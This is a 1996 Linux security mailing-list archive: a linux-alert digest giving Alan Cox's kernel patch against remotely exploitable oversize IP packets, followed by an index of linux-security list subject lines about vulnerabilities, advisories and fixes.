owner-linux-alert-digest Precedence: bulk linux-alert-digest Tuesday, 29 October 1996 Volume 02 : Number 018 [linux-alert] URGENT: Bug in linux networking stack ---------------------------------------------------------------------- From: Alan Cox Date: Mon, 21 Oct 1996 10:25:45 +0100 Subject: [linux-alert] URGENT: Bug in linux networking stack There is a nasty bug whereby AIX, Digital Unix, Linux and possibly some other systems can be brought down remotely by a suitably constructed oversize packet. Unfortunately a bug in another well known PC operating system means its easy to generate such packets. ** This bug is being actively exploited on the internet against all the ** mentioned systems. This fix should be considered essential as should ** other equivalent vendor fixes The following Linux fix drops such faulty frames and will also be included in 2.0.24 Alan Cox [Patch also available from http://www.uk.linux.org/patches/] - --- ip_fragment.c.old Mon Sep 16 22:14:52 1996 +++ ip_fragment.c Sat Oct 19 01:04:47 1996 @@ -366,7 +366,7 @@ { NETDEBUG(printk("Invalid fragment list: Fragment over size.\n")); ip_free(qp); - - frag_kfree_skb(skb,FREE_WRITE); + kfree_skb(skb,FREE_WRITE); ip_statistics.IpReasmFails++; return NULL; } @@ -466,6 +466,18 @@ return NULL; } } + + /* + * Attempt to construct an oversize packet. + */ + + if(ntohs(iph->tot_len)+(int)offset>65535) + { + skb->sk = NULL; + frag_kfree_skb(skb, FREE_READ); + ip_statistics.IpReasmFails++; + return NULL; + } /* * Determine the position of this fragment. ------------------------------ End of linux-alert-digest V2 #18 ******************************** linux-security/ 42775 1767 1767 0 6236046420 13034 5ustar majdommajdomlinux-security/CONTENTS100664 1767 1767 122401 6246256240 14353 0ustar majdommajdom linux-security.960308: [linux-security] NCSA httpd cgi-bin application vulnerability. linux-security.960309: Re: [linux-security] Java security bug (applets can load native methods) (fwd) linux-security.960310: [linux-security] Security hole in xlock linux-security.960311: Re: [linux-security] Security hole in xlock linux-security.960318: [linux-security] Sysklogd spam linux-security.960320: [linux-security] Big hole in sys_modify_ldt [linux-security] Summary re: syslogd spam [linux-security] Patch for 1.2.13 modify_ldt hole linux-security.960321: [linux-security] Problem with sliplogin on Linux linux-security.960325: [linux-security] Security bug in login (RedHat 2.1 .30.3) linux-security.960328: Re: [linux-security] Summary re: syslogd spam linux-security.960329: [linux-security] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [linux-security] sliplogin hole explanation linux-security.960331: Re: [linux-security] sliplogin hole explanation [linux-security] environment in general linux-security.960401: Re: [linux-security] sliplogin hole explanation linux-security.960402: Re: [linux-security] Summary re: syslogd spam Re: [linux-security] Summary re: syslogd spam Re: [linux-security] Summary re: syslogd spam Re: [linux-security] sliplogin hole explanation [linux-security] Vulnerabilities in mgetty+sendfax (root access by fax) [linux-security] Vulnerabilities in mgetty+sendfax (root access by fax) Re: [linux-security] sliplogin hole explanation Re: [linux-security] Summary re: syslogd spam Re: [linux-security] Summary re: syslogd spam [linux-security] Technical problems...please do not adjust your T.V. [linux-security] Re: Vulnerabilities in mgetty+sendfax (root access by fax) linux-security.960102: more mktemp() and pop3d filter (elm package) security hole Filter Exploit elvis rxvt security hole Re: rxvt security hole rxvt hole Linux Security FAQ Update#9: Splitvt Vulnerability Slight mail hub problems: three "dropped" posts. rxvt security hole elvis Re: rxvt security hole linux-security.960103: /proc insecurity linux-security.960104: about chroot. Re: /proc insecurity linux-security.960105: Re: /proc insecurity restorefont security hole Re: about chroot. Re: about chroot. Re: about chroot. linux-security.960108: Re: /proc insecurity linux-security.960110: Password checking - JFH the way forward ? Re: Password checking - JFH the way forward ? Re: Password checking - JFH the way forward ? PAM overview linux-security.960111: Shadow development mailing list linux-security.960112: CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability PAM implementation effort.... linux-security.960113: LSF Update#10: Another correction. linux-security.960114: fvwm fix linux-security.960115: Re: restorefont security hole linux-security.960122: Linux: dip security hole linux-security.960123: dump RedHat security hole Re: Linux: dip security hole linux-security.960126: Red Hat mh inc/msgchk security hole SUID binaries linux-security.960128: Re: SUID binaries Proposal: s[gu]id standards. Re: Proposal: s[gu]id standards. linux-security.960129: XFree86 3.1.2 Security Problems Re: XFree86 3.1.2 Security Problems Re: XFree86 3.1.2 Security Problems Re: Proposal: s[gu]id standards. Shadow /bin/login security hole Re: Shadow /bin/login security hole Re: Satan II (fwd) Satan II linux-security.960131: bind() Security Problems Aiiiieeee!! Re: BoS: Re: XFree86 3.1.2 Security Problems linux-security.960201: LSF Update#11: Vulnerability of rxvt Problem with minicom 1.71 linux-security.960202: Re: XFree86 3.1.2 Security Problems Re: Shadow /bin/login security hole Re: XFree86 3.1.2 Security Problems Re: XFree86 3.1.2 Security Problems (fwd) Re: XFree86 3.1.2 Security Problems Re: bind() Security Problems Re: bind() Security Problems Re: dump RedHat security hole linux-security.960203: abuse Red Hat 2.1 security hole resizecons Red Hat 2.1 security hole linux-security.960207: [linux-security] [Fwd: HTTPd 1.5a Security Hole!!! (fwd)] HTTPd 1.5a Security Hole!!! [linux-security] Regarding the forwarded Bugtraq post on NCSA httpd. linux-security.960210: [linux-security] RedHat 2.1 RPMs for fixed sliplogin SECURITY FIX: New NetKit-B and sliplogin RPMs available linux-security.960212: [linux-security] Kernels 1.3.6[12] break IP firewalling [linux-security] Re: Kernels 1.3.6[12] break IP firewalling Re: [linux-security] Re: Kernels 1.3.6[12] break IP firewalling linux-security.960223: [linux-security] SlackWare 3.0 insecurity Re: [linux-security] SlackWare 3.0 insecurity Re: [linux-security] SlackWare 3.0 insecurity linux-security.960227: [linux-security] Secure Linux Project [linux-security] ANNOUNCEMENT: Secure Linux Project Re: [linux-security] ANNOUNCEMENT: Secure Linux Project Re: [linux-security] ANNOUNCEMENT: Secure Linux Project linux-security.960302: [linux-security] updatedb + locate Re: [linux-security] ANNOUNCEMENT: Secure Linux Project [Forwarded e-mail from Marc Ewing] Re: [linux-security] ANNOUNCEMENT: Secure Linux Project linux-security.960303: [linux-security] BoS: announcing ypghost (fwd) BoS: announcing ypghost linux-security.960304: Re: [linux-security] BoS: announcing ypghost (fwd) Re: [linux-security] BoS: announcing ypghost (fwd) [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) Announcement: ONC RPC / NIS security with SSH linux-security.960305: Re: [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) linux-security.960306: [linux-security] more Java/Netscape holes (fwd) Java/JavaScript security breaches [linux-security] Java security bug (applets can load native methods) (fwd) Java security bug (applets can load native methods) Java security bug (applets can load native methods) [linux-security] slp-charter [Forwarded e-mail from Dave G.] slp-charter linux-security.960403: [linux-security] two comments.. linux-security.960404: Re: [linux-security] two comments.. Re: [linux-security] sliplogin hole explanation [linux-security] Re: BoS: Re: Vulnerabilities in mgetty+sendfax (root access by fax) Re: [linux-security] two comments.. Re: BoS: Re: [linux-security] two comments.. [linux-security] good character, bad character linux-security.960405: Re: [linux-security] good character, bad character linux-security.960406: Re: [linux-security] sliplogin hole explanation linux-security.960407: Re: [linux-security] sliplogin hole explanation linux-security.960409: Re: [linux-security] good character, bad character linux-security.960412: [linux-security] Security problems in RedHat 3.0.3... linux-security.960413: Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... linux-security.960414: Re: [linux-security] Security problems in RedHat 3.0.3... linux-security.960415: Re: [linux-security] Security problems in RedHat 3.0.3... linux-security.960416: Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... linux-security.960417: [linux-security] Trojan manpages summary and suggestions [linux-security] LSF: Cryptographic Filesystem under Linux Re: [linux-security] Security problems in RedHat 3.0.3... [linux-security] samba security hole... linux-security.960418: [linux-security] TCP Security Bug *READ ASAP* linux-security.960420: [linux-security] Re: Alinux-securityA samba security hole... linux-security.960421: [linux-security] WARNING: libc/ruserok security hole linux-security.960422: [linux-security] Re: WARNING: libc/ruserok security hole [linux-security] Re: WARNING: libc/ruserok security hole [linux-security] WARNING: libc/ruserok security hole (fwd) linux-security.960424: [linux-security] BoS: test-cgi problem (fwd) Re: [linux-security] WARNING: libc/ruserok security hole linux-security.960426: [linux-security] locate & updatedb linux-security.960429: Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb linux-security.960502: [linux-security] Denial of service in inetd [linux-security] NFS security bug [linux-security] Yet Another Java Hole. Another way to run native code from Java applets [linux-security] Reminder: Please include revisions when you report problems Re: [linux-security] Denial of service in inetd linux-security.960503: Re: [linux-security] locate & updatedb [linux-security] sh-utils-1.12+security linux-security.960504: Re: [linux-security] Denial of service in inetd [linux-security] [linux-alert] Yet Another Java Hole. Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] LSF: Cryptographic Filesystem under Linux linux-security.960505: Re: [linux-security] Denial of service in inetd Re: [linux-security] Denial of service in inetd linux-security.960507: Re: [linux-security] Denial of service in inetd linux-security.960508: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 linux-security.960509: Re: [linux-security] Denial of service in inetd Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 [linux-security] Administrative note regarding subscriptions. [linux-security] Corrected post: Exploit for problem with libc >5.0.0 <5.3.9 Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 [linux-security] Accelerated X , machine crash possible monitor damage attack linux-security.960510: [linux-security] uhh.. security? [linux-security] libc bug exploited through ircII Re: [linux-security] libc bug exploited through ircII linux-security.960511: [linux-security] Inetd problem -followup Re: [linux-security] Denial of service in inetd Re: [linux-security] uhh.. security? Re: [linux-security] uhh.. security? [linux-security] Patch for ytalk-3.2 [linux-security] atoi et al Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Re: [linux-security] uhh.. security? Re: [linux-security] libc bug exploited through ircII Re: [linux-security] uhh.. security? Re: [linux-security] uhh.. security? linux-security.960519: [linux-security] SO_REUSEADDR linux-security.960520: Re: [linux-security] SO_REUSEADDR [linux-security] running a shadowed system with NYS ? linux-security.960521: Re: [linux-security] SO_REUSEADDR Re: [linux-security] SO_REUSEADDR Re: [linux-security] SO_REUSEADDR [linux-security] Things NOT to put in root's crontab linux-security.960525: Re: [linux-security] Things NOT to put in root's crontab linux-security.960528: [linux-security] Serious Security hole in getpwnam () Serious Security hole in getpwnam () linux-security.960530: More find -exec rm dangers was: Re: BoS: Re: [linux-security] linux-security.960601: [linux-security] ext2fs file attributes -- denial-of-service attack Re: More find -exec rm dangers was: Re: BoS: Re: [linux-security] linux-security.960602: Re: [linux-security] ext2fs file attributes -- denial-of-service attack [linux-security] S/Key and Shadow Passwords linux-security.960603: Re: [linux-security] S/Key and Shadow Passwords linux-security.960605: [linux-security] Re: linux-security-digest V2 #23 [linux-security] standard users,groups,perms? [linux-security] SSL Re: [linux-security] standard users,groups,perms? linux-security.960606: Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? linux-security.960610: Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL [linux-security] ANNOUNCE: Shadow + Red Hat (and more) RPMS and source now available!! Re: [linux-security] standard users,groups,perms? [linux-security] Admin note (recent traffic surge). linux-security.960611: Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? linux-security.960612: Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? linux-security.960613: [linux-security] suspicious users [linux-security] Big security hole in kerneld's request_route [linux-security] Re: Big security hole in kerneld's request_route RE: [linux-security] suspicious users [linux-security] suspicious users Re: [linux-security] Admin note (recent traffic surge). linux-security.960614: Re: [linux-security] standard users,groups,perms? linux-security.960616: [linux-security] wu.ftp, ftpaccess, and /bin/false shell [linux-security] Talk security? Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). [linux-security] Thread regarding ~root. Re: [linux-security] Big security hole in kerneld's request_route Re: [linux-security] standard users,groups,perms? linux-security.960617: Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] Re: Big security hole in kerneld's request_route Re: [linux-security] suspicious users Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] Talk security? Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] standard users,groups,perms? [linux-security] Disabeling symlinks? No! don't write to /tmp! [linux-security] Symlinks as holes (Was: Big security hole in kerneld's request_route) [linux-security] /bin/false linux-security.960619: Re: [linux-security] Big security hole in kerneld's request_route Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] Talk security? [linux-security] Re: Mprog Thread Re: [linux-security] Big security hole in kerneld's request_route [linux-security] sudo limiting linux-security.960620: Re: [linux-security] S/Key and Shadow Passwords Re: [linux-security] sudo limiting linux-security.960621: Re: [linux-security] standard users,grou Re: [linux-security] Talk security? Re: [linux-security] suspicious users Re: [linux-security] sudo limiting Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] sudo limiting [linux-security] publically writable directories linux-security.960624: Re: [linux-security] S/Key and Shadow Passwords [linux-security] A secure (?) nfs-server ? Re: [linux-security] S/Key and Shadow Passwords Re: [linux-security] Talk security? Re: [linux-security] sudo limiting Re: [linux-security] standard users,groups,perms? linux-security.960625: Re: [linux-security] suspicious users Re: [linux-security] standard users,grou Re: [linux-security] suspicious users Re: [linux-security] sudo limiting Re: [linux-security] standard users,grou Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? linux-security.960626: Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl linux-security.960627: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) linux-security.960628: Re: [linux-security] suspicious users Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] A secure (?) nfs-server ? linux-security.960629: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] A secure (?) nfs-server ? linux-security.960701: Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? [linux-security] Re: A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? linux-security.960702: Re: [linux-security] Re: A secure (?) nfs-server ? linux-security.960703: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] suspicious users [linux-security] sudo passwd wrapper [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 linux-security.960704: Re: [linux-security] sudo passwd wrapper Re: [linux-security] sudo passwd wrapper Re: [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] linux-security.960705: Re: [linux-security] sudo passwd wrapper Re: [linux-security] sudo passwd wrapper linux-security.960709: [linux-security] wordperfect for linux [linux-security] joy [linux-security] CERT Advisory CA-96.13.dip_vul (dip vulnerability). Re: [linux-security] joy linux-security.960710: [linux-security] Re: You wouldn't believe it... Re: [linux-security] joy Re: [linux-security] joy Re: [linux-security] dip Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] joy Re: [linux-security] Re: You wouldn't believe it... linux-security.960712: Re: [linux-security] joy Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] dip Re: [linux-security] dip Re: [linux-security] joy Re: [linux-security] dip [linux-security] SUDO problems linux-security.960713: Re: [linux-security] dip Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems linux-security.960715: [linux-security] security idea Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems linux-security.960716: Re: [linux-security] security idea [linux-security] sliplogin Re: [linux-security] security idea [linux-security] Re: identd hole? Re: [linux-security] security idea [linux-security] Re: identd hole? linux-security.960717: Re: [linux-security] sliplogin [linux-security] Re: identd hole? Fwd: [linux-security] security idea Re: [linux-security] security idea [linux-security] sendmail security issues Re: [linux-security] sliplogin [linux-security] Passing the baton [linux-security] about in.identd linux-security.960718: Re: [linux-security] about in.identd Re: [linux-security] Re: identd hole? Re: [linux-security] about in.identd Re: [linux-security] about in.identd Re: Fwd: [linux-security] security idea Re: [linux-security] about in.identd [linux-security] writing setuid programs safely linux-security.960719: [linux-security] Re: writing setuid programs safely linux-security.960720: Re: [linux-security] about in.identd Re: [linux-security] about in.identd [linux-security] about in.identd Re: [linux-security] about in.identd linux-security.960721: [linux-security] kmem Re: [linux-security] sendmail security issues linux-security.960723: [linux-security] Alternative to NIS Re: [linux-security] sendmail security i linux-security.960724: Re: [linux-security] Alternative to NIS Re: Fwd: [linux-security] security idea Re: [linux-security] Alternative to NIS Re: [linux-security] sendmail security issues Re: [linux-security] sendmail security Re: [linux-security] Alternative to NIS [linux-security] Security hole in Abuse game (in RedHat 2.1) [linux-security] CERT says. Re: [linux-security] Alternative to NIS linux-security.960725: Re: [linux-security] CERT says. [linux-security] Radius Re: [linux-security] Alternative to NIS Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: [linux-security] Alternative to NIS Re: [linux-security] Alternative to NIS Re: [linux-security] Radius [linux-security] Linux NetKit-B update. [linux-security] Test SQUAD recruitment call. Re: Fwd: [linux-security] security idea Re: Fwd: [linux-security] security idea linux-security.960726: Re: [linux-security] Linux NetKit-B update. Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: Fwd: [linux-security] security idea Re: [linux-security] sendmail security [linux-security] NetKit-B-0.07A [linux-security] Re: list of setuid programs (was: Security hole in Abuse) Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: [linux-security] sendmail security linux-security.960727: Re: [linux-security] Alternative to NIS Re: [linux-security] sendmail security Re: [linux-security] sendmail security Re: [linux-security] Re: list of setuid programs (was: Security hole in Abuse) Re: [linux-security] sendmail security linux-security.960728: [linux-security] FTPd vulnerability and fix. Re: [linux-security] sendmail security linux-security.960729: Re: [linux-security] FTPd vulnerability and fix. [linux-security] Linux-kernel bugs in 2.0.x linux-security.960730: Re: [linux-security] FTPd vulnerability and fix. [linux-security] Re: SUDO problems [linux-security] Test squad results on group rights denial linux-security.960731: [linux-security] LSF Update#11: Vulnerability of rlogin [linux-security] Re: SUDO problems linux-security.960802: [linux-security] xdm sessions still work with bad shell. linux-security.960807: [linux-security] A (possibly) crazy idea... Re: [linux-security] A (possibly) crazy idea... linux-security.960808: Re: [linux-security] sendmail security linux-security.960809: [linux-security] TCP Wrappers Syslogging Re: [linux-security] sendmail security [linux-security] Suggestion for Linux default fw policy [linux-security] Suggestion for Linux default fw policy (fwd) linux-security.960810: Re: [linux-security] TCP Wrappers Syslogging Re: [linux-security] sendmail security linux-security.960812: Re: [linux-security] sendmail security Re: [linux-security] Suggestion for Linux default fw policy linux-security.960813: [linux-security] Vulnerability in ALL linux distributions [linux-security] Re: Vulnrability in all known Linux distributions [linux-security] mount/umount realpath() buffer overflow [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload linux-security.960814: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions Re: [linux-security] sendmail security Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions linux-security.960816: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? [linux-security] Archive/Listing [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. [linux-security] Archive/Listing linux-security.960819: Re: [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. [linux-security] des_setparity security problem Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] Problems running crack on linux. Re: [linux-security] Archive/Listing Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload linux-security.960820: [linux-security] inetd and denial-of-service Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] inetd and denial-of-service System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? [linux-security] [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux [linux-security] [linux-alert] SECURITY FIX/UPDATE: anonftp linux-security.960821: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload [linux-security] Dicts .... [linux-security] smbmount (and ncpmount?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [linux-security] Secure Filesystem Re: [linux-security] inetd and denial-of-service [linux-security] Re: Vulnerability list/info Re: [linux-security] Problems running crack on linux. linux-security.960822: [linux-security] Re: Anon ftp pkg? Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] inetd and denial-of-service Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload Re: [linux-security] Secure Filesystem Re: [linux-security] inetd and denial-of-service [linux-security] Re: rwhod buffer overflow Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [linux-security] rwhod buffer overflow [linux-security] Saving Passwords in Binaries [linux-security] Locking consoles. Re: [linux-security] Secure Filesystem [linux-security] BoS: Mycroftish description of bash hole. (fwd) BoS: Mycroftish description of bash hole. linux-security.960823: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] inetd and denial-of-service Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [linux-security] bash security hole Re: [linux-security] inetd and denial-of-service Re: [linux-security] rwhod buffer overflow linux-security.960824: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] inetd and denial-of-service Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [linux-security] bash security hole Re: [linux-security] inetd and denial-of-service Re: [linux-security] rwhod buffer overflow [linux-security] Radiusd DOS Attacks Possible [linux-security] Minor technical difficulties. linux-security.960825: Re: [linux-security] inetd and denial-of-service [linux-security] RESOLV_HOST_CONF Re: [linux-security] TCP Wrappers Syslogging [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] RESOLV_HOST_CONF linux-security.960826: Re: [linux-security] RESOLV_HOST_CONF (fwd) [linux-security] vulnerability in splitvt Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] inetd and denial-of-service Re: [linux-security] bash security hole Re: [linux-security] bash security hole Re: [linux-security] syn floods Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] syn floods Re: [linux-security] syn floods [linux-security] pop3d minimal security bug linux-security.960827: Re: [linux-security] inetd and denial-of-service [linux-security] sendmail w/o suid root? [linux-security] SYN flooding (was inetd and denial-of-service) Re: [linux-security] vulnerability in splitvt Re: [linux-security] RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] inetd and denial-of-service Kevin Littlejohn: Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] vulnerability in splitvt Re: [linux-security] vulnerability in splitvt [linux-security] RE: Little exploit in syslogd... Re: [linux-security] bash security hole Re: [linux-security] Saving Passwords in Binaries [linux-security] About suid etc. programs... [linux-security] Suid Programs / Help Wanted Re: [linux-security] inetd and denial-of-service [linux-security] LYNX-DEV security problem with environment for lynx -restrictions=all (fwd) LYNX-DEV security problem with environment for lynx -restrictions=all Re: [linux-security] RESOLV_HOST_CONF [linux-security] sh != bash (was "bash security hole") Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) linux-security.960828: Re: [linux-security] RESOLV_HOST_CONF [linux-security] CERT#1157 Re: vulnerability in splitvt [linux-security] chroot (1) security hole Re: [linux-security] inetd and denial-of-service [linux-security] nonroot sendmail linux-security.960829: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Suid Programs / Help Wanted [linux-security] Re: Vulnerability in the Xt library (fwd) [linux-security] Re: LYNX-DEV security problem with environment for lynx Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) linux-security.960830: Re: [linux-security] inetd and denial-of-service [linux-security] ytalk [linux-security] possible security bug if uid of nobody is 65535 or -1 Re: [linux-security] Suid Programs / Help Wanted Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx Re: [linux-security] SYN flooding (was inetd and Re: [linux-security] Suid Programs / Help Wanted [linux-security] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 linux-security.960901: Re: [linux-security] SYN flooding (was inetd and Re: [linux-security] Suid Programs / Help Wanted Re: [linux-security] SYN flooding (was inetd and Re: Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) linux-security.960902: Re: [linux-security] chroot (1) security hole Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx [linux-security] pty's and utmp - a disaster perpetrated long ago linux-security.960903: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago Re: [linux-security] inetd and denial-of-service Re: [linux-security] bash security hole linux-security.960904: [linux-security] Is there a final word on the current RESOLV_HOST_CONF hole? [linux-security] SecurID White Paper linux-security.960906: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago linux-security.960908: [linux-security] GSSAPI for Linux linux-security.960909: [linux-security] Admin note. [linux-security] samba 1.9.16p2-2 (RedHat): Damn /tmp security holes again... linux-security.960910: Re: [linux-security] GSSAPI for Linux Re: [linux-security] pty's and utmp - a disaster perpetrated long ago linux-security.960911: [linux-security] password for over 8 charactes [linux-security] Fix available for elm 2.4 filter security hole Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] Re: password for over 8 charactes [linux-security] Pine security problem linux-security.960912: [linux-security] From bugtraq: sendmail-8.7.5 [linux-security] Re: sendmail-8.7.5 Re: [linux-security] Re: sendmail-8.7.5 Re: [linux-security] GSSAPI for Linux Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] Re: password for over 8 charactes Re: [linux-security] Fix available for elm 2.4 filter security hole linux-security.960916: [linux-security] CIAC Bulletin G-42:Vulnerability in WorkMan Program [linux-security] [BUG] Vulnerability in PKGTOOL [linux-security] [BUG] Vulnerability in PINE linux-security.960917: [linux-security] pgpsendmail linux-security.960918: [linux-security] Finger Doubt [linux-security] mount [linux-security] ADMIN: LSF Updates, new WWW and NEW ftp sites Re: [linux-security] Finger Doubt Re: [linux-security] mount linux-security.960919: [linux-security] CERT Advisory CA-96.20 - Sendmail Vulnerabilities [linux-security] Cfinger [linux-security] Re: GSSAPI for Linux (follow up..) linux-security.960920: Re: [linux-security] Finger Doubt [linux-security] Cfinger (Yet more :) Re: [linux-security] Re: GSSAPI for Linux (follow up..) [linux-security] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks linux-security.960922: Re: [linux-security] Finger Doubt Re: [linux-security] Cfinger (Yet more :) linux-security.960924: Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Cfinger (Yet more :) [linux-security] Syn flood/IP spoofing tests 